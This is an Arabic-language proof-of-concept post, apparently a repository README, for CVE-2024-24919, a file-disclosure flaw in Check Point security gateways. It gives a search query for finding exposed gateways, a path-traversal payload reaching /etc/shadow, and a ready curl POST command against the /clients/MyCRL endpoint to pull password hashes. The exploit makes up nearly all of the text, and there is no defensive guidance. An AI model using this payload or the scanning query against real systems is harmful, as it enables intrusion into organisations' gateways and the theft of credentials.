
هذا إثبات مفهوم لـ CVE-2024-24919-POC، قمت بإنشائه بعد اكتشافه.
إنه إثبات مفهوم لـ CVE-2024-24919-POC، وقد قمت بإنشائه بعد اكتشافه.
CVE-2024-24919 ثغرة كشف المعلومات في بوابة الأمان Checkpoint. يمكنك رؤيته في Notion-CVE-2024-24919_POC
title:"Check Point" "Server: Check Point SVN" "X-UA-Compatible: IE=EmulateIE7"
aCSHELL/../../../../../../../etc/shadow
- في المسار 💡 https://Host/clients/MyCRL > استبدل Host بعنوان IP الأصلي
بواسطة curl لأخذ shadow لكلمات المرور
curl --path-as-is -i -s -k -X $'POST' -H $'Host: 127.0.0.1' -H $'Content-Length: 39' -H $'Connection: keep-alive' --data-binary $'aCSHELL/../../../../../../../etc/shadow' $ 'https://127.0.0.1/clients/MyCRL'
شاهد المزيد من الشروحات Notion-Link-Write-ups
تواصل معي اضغط هنا